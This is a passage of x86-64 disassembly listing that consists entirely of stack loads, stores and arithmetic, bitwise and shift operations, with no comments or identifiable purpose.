mov byte [rsp + 0xc4], al
lea rax, [rsp + 0x1550]
mov qword [rsp + 0xd678], rax
movsx eax, word [rsp + 0x1078]
movsx ecx, word [rsp + 0x14f0]
and eax, ecx
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5080], eax
lea rax, [rsp + 0x9f98]
mov qword [rsp + 0xd680], rax
mov rax, qword [rsp + 0xbcd8]
mov rcx, qword [rsp + 0xc9f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd438], rax
lea rax, [0x1401e7004]
mov qword [rsp + 0xd688], rax
movzx eax, byte [rsp + 0x1d7]
movzx ecx, byte [rsp + 0x162]
add eax, ecx
mov byte [rsp + 0xae], al
lea rax, [rsp + 0x12c4]
mov qword [0x1401e90e0], rax
movsx eax, byte [rsp + 0x182]
mov rcx, qword [rsp + 0xc700]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x121], al
movzx eax, word [rsp + 0x14cc]
mov word [rsp + 0x1808], ax
movsx eax, word [rsp + 0x1230]
movsx ecx, word [rsp + 0x12b8]
sub eax, ecx
mov rcx, qword [rsp + 0xb6a0]
mov word [rcx], ax
lea rax, [rsp + 0x4fd8]
mov qword [rsp + 0xd690], rax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0x99b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc6e0], rax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0xa3b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad48]
mov eax, dword [rax]
mov dword [rsp + 0x5644], eax
movzx eax, word [rsp + 0x101c]
movzx ecx, word [rsp + 0x15dc]
add eax, ecx
mov word [rsp + 0x11a0], ax
mov rax, qword [rsp + 0xa2a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa370]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e7072], al
movzx eax, byte [rsp + 0x17c]
mov byte [rsp + 0x298], al
mov rax, qword [rsp + 0xa4c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc480]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1b7], al
lea rax, [rsp + 0x17e4]
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x55c4]
shl eax, cl
mov dword [rsp + 0x53d4], eax
mov rax, qword [rsp + 0xcec0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa468]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc010], rax
mov rax, qword [rsp + 0x9398]
mov qword [rsp + 0xd6a0], rax
mov rax, qword [rsp + 0xd248]
mov ecx, dword [rsp + 0x5594]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9ba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd268]
movzx eax, byte [rax]
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov byte [0x1401e88f5], al
mov rax, qword [rsp + 0xd048]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x139c]
add eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xa188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x99e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1148]
mov word [rsp + 0x180c], ax
mov rax, qword [rsp + 0xa7c0]
mov rcx, qword [rsp + 0xcc58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa020], rax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov qword [rsp + 0xd6a8], rax
mov rax, qword [rsp + 0xa790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5338]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5314], eax
mov rax, qword [rsp + 0xb570]
mov ecx, dword [rsp + 0x51b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54a0], eax
lea rax, [rsp + 0xba]
mov qword [rsp + 0xd6b0], rax
movzx eax, word [rsp + 0x1418]
mov rcx, qword [rsp + 0xb818]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e71b0], ax
movzx eax, word [rsp + 0x1560]
mov rcx, qword [0x1401e8ef8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc870]
mov word [rcx], ax
mov rax, qword [rsp + 0xc978]
movzx eax, byte [rax]
mov byte [rsp + 0x29a], al
movsx eax, word [rsp + 0x117c]
movsx ecx, word [rsp + 0x1544]
sub eax, ecx
mov word [rsp + 0x128c], ax
lea rax, [rsp + 0x1510]
mov qword [rsp + 0xd6b8], rax
mov eax, dword [rsp + 0x5574]
movzx ecx, al
mov eax, dword [0x1401e7008]
shl eax, cl
mov dword [rsp + 0x556c], eax
mov rax, qword [rsp + 0xc520]
movzx ecx, al
mov rax, qword [rsp + 0x8f40]
shr rax, cl
mov qword [rsp + 0xa700], rax
mov rax, qword [rsp + 0xab48]
mov qword [rsp + 0xd6c0], rax
mov rax, qword [rsp + 0xcfa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5440]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x562c], eax
movzx eax, byte [rsp + 0x1d2]
movzx ecx, byte [rsp + 0x190]
xor eax, ecx
mov byte [0x1401e70f3], al
movzx eax, word [0x1401e7118]
mov word [rsp + 0x1810], ax
movsx eax, byte [rsp + 0x24e]
mov rcx, qword [rsp + 0xc1c8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcb80]
mov byte [rcx], al
movzx eax, byte [rsp + 0x185]
mov rcx, qword [rsp + 0xa370]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac00]
mov byte [rcx], al
lea rax, [0x1401e70a8]
mov qword [rsp + 0xd6c8], rax
mov rax, qword [rsp + 0xcac8]
mov rcx, qword [rsp + 0x9748]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcb90], rax
mov eax, dword [rsp + 0x50f8]
mov dword [rsp + 0x5648], eax
mov rax, qword [rsp + 0xb0f8]
mov rcx, qword [rsp + 0xbdf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb5f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x55a0]
mov ecx, dword [rsp + 0x4d50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0xc530]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e87f5]
and eax, ecx
mov byte [0x1401e7036], al
mov rax, qword [rsp + 0x9240]
movzx eax, word [rax]
mov word [rsp + 0x1814], ax
movsx eax, byte [rsp + 0x272]
mov rcx, qword [rsp + 0xd198]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25a], al
mov rax, qword [rsp + 0xc518]
movzx eax, word [rax]
mov word [rsp + 0x1818], ax
movsx eax, word [0x1401e71fc]
mov rcx, qword [rsp + 0xa1c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0xca08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb960]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5524]
mov dword [rsp + 0x564c], eax
mov rax, qword [rsp + 0xd028]
mov rcx, qword [rsp + 0xd340]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba58]
mov qword [rcx], rax
lea rax, [rsp + 0x5150]
mov qword [rsp + 0xd6d0], rax
movsx eax, byte [rsp + 0x259]
mov rcx, qword [rsp + 0xb038]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e70f6], al
mov rax, qword [rsp + 0xa1c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12c8]
sar eax, cl
mov rcx, qword [rsp + 0xc0a0]
mov word [rcx], ax
lea rax, [rsp + 0x101]
mov qword [rsp + 0xd6d8], rax
mov rax, qword [rsp + 0xae80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa820]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11b4], ax
movzx eax, byte [rsp + 0x1d4]
mov rcx, qword [rsp + 0xa150]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x97a8]
mov eax, dword [rax]
mov dword [rsp + 0x5650], eax
mov rax, qword [rsp + 0xafc0]
mov rcx, qword [rsp + 0xd018]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa8b0], rax
mov eax, dword [rsp + 0x5134]
mov dword [rsp + 0x5654], eax
mov rax, qword [rsp + 0xb620]
mov rcx, qword [rsp + 0xba58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb1b8], rax
movsx eax, word [rsp + 0x16ec]
movsx ecx, word [0x1401e8790]
sub eax, ecx
mov word [0x1401e7164], ax
movzx eax, byte [rsp + 0x18d]
movzx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0xc488]
mov byte [rcx], al
movzx eax, byte [rsp + 0x113]
mov byte [rsp + 0x29b], al
movzx eax, word [rsp + 0x1278]
mov rcx, qword [rsp + 0xcbe0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1724], ax
mov rax, qword [rsp + 0xd678]
movzx eax, word [rax]
mov word [rsp + 0x181c], ax
mov rax, qword [rsp + 0xc288]
mov ecx, dword [rsp + 0x4e60]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5254], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xd3d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaf20], rax
lea rax, [rsp + 0xa400]
mov qword [rsp + 0xd6e0], rax
mov rax, qword [rsp + 0xd528]
mov rcx, qword [rsp + 0xbb68]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x5630], eax
mov rax, qword [0x1401e8bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc820]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7057], al
movzx eax, byte [rsp + 0x185]
mov byte [rsp + 0x29c], al
movsx eax, word [rsp + 0x1348]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0xbad0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x291]
add eax, ecx
mov byte [rsp + 0x249], al
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
mov byte [rsp + 0x29d], al
mov rax, qword [rsp + 0xd688]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x534c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0xc0e8]
mov eax, dword [rax]
mov dword [rsp + 0x5658], eax
mov rax, qword [rsp + 0x8fb8]
mov rcx, qword [rsp + 0xc7f0]
mov qword [rsp + 0xd6e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb7f8], rax
lea rax, [rsp + 0xb3d0]
mov qword [rsp + 0xd6f0], rax
lea rax, [rsp + 0x1258]
mov qword [0x1401e90e8], rax
movsx eax, byte [0x1401e87f2]
movsx ecx, byte [rsp + 0x119]
sar eax, cl
mov rcx, qword [rsp + 0xa6e0]
mov byte [rcx], al
movsx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0xa8a0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12d8], ax
mov rax, qword [rsp + 0xada8]
movzx eax, byte [rax]
mov byte [rsp + 0x29e], al
movzx eax, word [rsp + 0x11bc]
movzx ecx, word [rsp + 0x10b0]
and eax, ecx
mov word [rsp + 0x123c], ax
mov rax, qword [rsp + 0xa500]
mov rax, qword [rax]
mov qword [rsp + 0xd6f8], rax
mov rax, qword [rsp + 0xb7b8]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xac38], rax
mov eax, dword [rsp + 0x4fec]
mov ecx, dword [rsp + 0x5544]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5090], eax
mov rax, qword [rsp + 0xc368]
mov eax, dword [rax]
mov dword [rsp + 0x565c], eax
movzx eax, byte [rsp + 0x228]
mov rcx, qword [rsp + 0x9ae0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7032], al
mov rax, qword [rsp + 0xb930]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb6c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10a], al
lea rax, [rsp + 0x13a4]
mov qword [rsp + 0xd700], rax
movsx eax, word [rsp + 0x13e4]
movsx ecx, word [0x1401e7194]
sub eax, ecx
mov word [rsp + 0x1318], ax
mov rax, qword [rsp + 0x9f90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1160]
sub eax, ecx
mov word [rsp + 0x14bc], ax
mov rax, qword [rsp + 0xb460]
mov eax, dword [rax]
mov dword [rsp + 0x5660], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x9a60]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcc40], rax
lea rax, [rsp + 0x5414]
mov qword [rsp + 0xd708], rax
mov rax, qword [rsp + 0xa3c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
lea rax, [rsp + 0x1644]
mov qword [rsp + 0xd710], rax
mov rax, qword [rsp + 0xcae0]
movzx eax, word [rax]
mov word [0x1401e90f0], ax
mov rax, qword [rsp + 0xc078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa2]
sar eax, cl
mov byte [rsp + 0x163], al
mov rax, qword [rsp + 0xb688]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9550]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd5c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa678]
movzx eax, word [rax]
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0x9e48]
mov ecx, dword [rsp + 0x5634]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x541c], eax
mov rax, qword [rsp + 0x9d78]
mov rax, qword [rax]
mov qword [rsp + 0xd718], rax
mov rax, qword [rsp + 0xa408]
mov rcx, qword [rsp + 0xb108]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9318], rax
mov rax, qword [rsp + 0xd248]
mov ecx, dword [rsp + 0x55f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5550], eax
mov rax, qword [rsp + 0x9660]
movzx eax, byte [rax]
mov byte [rsp + 0x29f], al
movsx eax, word [rsp + 0x12ec]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov word [0x1401e71f8], ax
movsx eax, word [rsp + 0x1510]
mov rcx, qword [rsp + 0xd008]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17a4], ax
movzx eax, word [rsp + 0x14c4]
mov word [rsp + 0x1824], ax
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [rsp + 0x22f]
add eax, ecx
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0xd380]
mov rcx, qword [rsp + 0xcf30]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xac80], rax
lea rax, [rsp + 0xc6f8]
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb7f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa238]
mov eax, dword [rax]
mov dword [rsp + 0x5664], eax
movzx eax, word [rsp + 0x11d4]
movzx ecx, word [0x1401e8db0]
sub eax, ecx
mov rcx, qword [rsp + 0xcb58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x223]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [0x1401e70f7], al
movsx eax, word [rsp + 0x1594]
mov rcx, qword [0x1401e8b18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9570]
mov word [rcx], ax
lea rax, [rsp + 0xca]
mov qword [rsp + 0xd728], rax
mov rax, qword [rsp + 0x8e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
and eax, ecx
mov rcx, qword [rsp + 0xaef8]
mov byte [rcx], al
lea rax, [rsp + 0x5544]
mov qword [rsp + 0xd730], rax
mov rax, qword [rsp + 0xc4b0]
mov rcx, qword [rsp + 0x99c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc4c8], rax
mov rax, qword [rsp + 0xc618]
mov eax, dword [rax]
mov dword [rsp + 0x5668], eax
mov rax, qword [rsp + 0x9b08]
mov rcx, qword [rsp + 0xad60]
mov qword [rsp + 0xd738], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd738]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb338]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0xb6d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x8a], al
movsx eax, byte [rsp + 0x225]
movsx ecx, byte [rsp + 0x26b]
or eax, ecx
mov byte [0x1401e70fa], al
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
mov byte [rsp + 0x2a0], al
mov rax, qword [0x1401e8a00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ae8]
mov word [rcx], ax
lea rax, [rsp + 0x1418]
mov qword [rsp + 0xd740], rax
mov rax, qword [rsp + 0xaa80]
movsx eax, word [rax]
movsx ecx, word [0x1401e8f30]
sub eax, ecx
mov rcx, qword [rsp + 0xd360]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ec8]
mov rcx, qword [rsp + 0xc9e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa5b8]
mov qword [rcx], rax
lea rax, [rsp + 0x5028]
mov qword [rsp + 0xd748], rax
mov rax, qword [rsp + 0xcde8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb810]
mov qword [rcx], rax
lea rax, [rsp + 0x5480]
mov qword [rsp + 0xd750], rax
movzx eax, word [rsp + 0x1778]
movzx ecx, word [rsp + 0x13a4]
add eax, ecx
mov rcx, qword [0x1401e8ba8]
mov word [rcx], ax
mov rax, qword [rsp + 0xab58]
movsx eax, byte [rax]
mov rcx, qword [0x1401e9020]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x132], al
movzx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0x9b90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd2a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xac88]
movzx eax, byte [rax]
mov byte [rsp + 0x2a1], al
movzx eax, word [rsp + 0x12a8]
movzx ecx, word [rsp + 0x17b4]
add eax, ecx
mov word [rsp + 0x1204], ax
mov rax, qword [rsp + 0x98b8]
mov qword [rsp + 0xd758], rax
mov rax, qword [rsp + 0x9580]
mov ecx, dword [rsp + 0x4e54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5450], eax
lea rax, [rsp + 0xc6d0]
mov qword [rsp + 0xd760], rax
mov rax, qword [rsp + 0x8cf8]
mov ecx, dword [rsp + 0x51a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xafe0]
movzx eax, word [rax]
mov word [0x1401e90f4], ax
mov rax, qword [rsp + 0xc180]
movsx eax, word [rax]
movsx ecx, word [0x1401e87f0]
add eax, ecx
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0xc750]
movzx eax, word [rax]
mov word [rsp + 0x1828], ax
movsx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0xbac0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa508]
mov byte [rcx], al
movzx eax, byte [rsp + 0x176]
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0xca88]
mov ecx, dword [rsp + 0x4f78]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc148]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc558]
mov rcx, qword [rsp + 0xd518]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa468], rax
lea rax, [rsp + 0x9cc0]
mov qword [rsp + 0xd768], rax
mov rax, qword [rsp + 0xcfc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5260]
sar eax, cl
mov rcx, qword [rsp + 0x94f8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0xc3a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e8b98]
mov byte [rcx], al
mov rax, qword [rsp + 0xcca8]
movzx eax, word [rax]
mov word [rsp + 0x182c], ax
mov rax, qword [0x1401e8be8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27e], al
movzx eax, byte [rsp + 0x224]
mov rcx, qword [rsp + 0x9bf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26d], al
movzx eax, word [rsp + 0x1748]
mov word [rsp + 0x1830], ax
mov eax, dword [rsp + 0x5278]
mov ecx, dword [rsp + 0x53cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5628], eax
mov eax, dword [rsp + 0x4ed8]
mov dword [rsp + 0x566c], eax
mov rax, qword [rsp + 0xb900]
mov rcx, qword [rsp + 0xc8e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [rsp + 0xc900]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb0a0], rax
mov rax, qword [rsp + 0xa988]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70b2], al
movzx eax, byte [0x1401e87f3]
mov byte [rsp + 0x2a3], al
movsx eax, word [rsp + 0x1120]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16f8], ax
lea rax, [rsp + 0x15f4]
mov qword [rsp + 0xd770], rax
movsx eax, byte [rsp + 0xd4]
movsx ecx, byte [0x1401e70bb]
add eax, ecx
mov rcx, qword [rsp + 0xb0f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4fac]
mov dword [rsp + 0x5670], eax
mov eax, dword [rsp + 0x552c]
mov rcx, qword [rsp + 0xcb78]
mov qword [rsp + 0xd778], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd778]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5488], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xc478]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9c10], rax
mov rax, qword [rsp + 0xc528]
mov rax, qword [rax]
mov qword [rsp + 0xd780], rax
movzx eax, byte [rsp + 0x28c]
mov rcx, qword [rsp + 0x9908]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e70fb], al
mov rax, qword [rsp + 0xd388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1260]
xor eax, ecx
mov rcx, qword [rsp + 0x9570]
mov word [rcx], ax
lea rax, [rsp + 0x1a6]
mov qword [rsp + 0xd788], rax
movsx eax, byte [rsp + 0x179]
movsx ecx, byte [rsp + 0x1ec]
and eax, ecx
mov byte [rsp + 0x113], al
mov rax, qword [0x1401e8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb440]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov word [rcx], ax
lea rax, [rsp + 0xa3f0]
mov qword [rsp + 0xd790], rax
mov rax, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0xb988]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
mov dword [rsp + 0x5674], eax
mov rax, qword [rsp + 0x8e70]
mov ecx, dword [rsp + 0x5288]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5550], eax
mov rax, qword [rsp + 0xac18]
movzx eax, word [rax]
mov rcx, qword [0x1401e88b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [str.U_bC], ax
mov rax, qword [rsp + 0xbe10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1558]
and eax, ecx
mov word [rsp + 0x16b8], ax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0xb8a0]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8cf0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcc], al
movzx eax, word [rsp + 0x10ec]
mov word [rsp + 0x1834], ax
mov rax, qword [rsp + 0xd448]
mov rcx, qword [rsp + 0xa750]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0xb908]
mov rcx, qword [rsp + 0xcde8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaa78], rax
lea rax, [rsp + 0x4f90]
mov qword [rsp + 0xd798], rax
mov rax, qword [rsp + 0x9028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb3e8]
movsx eax, word [rax]
mov rcx, qword [0x1401e8f38]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e7200], ax
mov rax, qword [rsp + 0xbc50]
movzx eax, byte [rax]
mov byte [rsp + 0x2a5], al
mov rax, qword [rsp + 0xbca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa5e8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbd28]
mov word [rcx], ax
lea rax, [rsp + 0x24d]
mov qword [rsp + 0xd7a0], rax
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
sar eax, cl
mov word [rsp + 0x10b0], ax
mov eax, dword [rsp + 0x5614]
mov ecx, dword [rsp + 0x4ec0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0xb3f8]
mov qword [rsp + 0xd7a8], rax
mov rax, qword [rsp + 0xcfa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ec0]
mov dword [rcx], eax
lea rax, [rsp + 0xa680]
mov qword [rsp + 0xd7b0], rax
movzx eax, byte [rsp + 0x106]
movzx ecx, byte [rsp + 0x297]
sub eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov byte [rcx], al
movsx eax, word [rsp + 0x16ec]
mov rcx, qword [rsp + 0xccc0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e89a8], ax
movsx eax, byte [rsp + 0x1ef]
movsx ecx, byte [rsp + 0x1de]
sub eax, ecx
mov rcx, qword [rsp + 0xa430]
mov byte [rcx], al
mov rax, qword [0x1401e8e88]
movzx eax, word [rax]
mov word [rsp + 0x1838], ax
movzx eax, byte [rsp + 0x1d2]
mov rcx, qword [rsp + 0xb730]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae48]
mov byte [rcx], al
mov rax, qword [rsp + 0xd500]
mov rax, qword [rax]
mov qword [rsp + 0xd7b8], rax
mov rax, qword [rsp + 0xc148]
mov ecx, dword [rsp + 0x5004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5010], eax
mov rax, qword [rsp + 0xcdd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd550], rax
lea rax, [rsp + 0x5214]
mov qword [rsp + 0xd7c0], rax
movsx eax, byte [0x1401e7042]
mov rcx, qword [rsp + 0xc548]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x240], al
lea rax, [rsp + 0x1680]
mov qword [0x1401e90f8], rax
lea rax, [rsp + 0x276]
mov qword [rsp + 0xd7c8], rax
movsx eax, word [rsp + 0x1570]
mov rcx, qword [0x1401e8a28]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab08]
mov word [rcx], ax
lea rax, [rsp + 0x1538]
mov qword [rsp + 0xd7d0], rax
mov rax, qword [rsp + 0xa190]
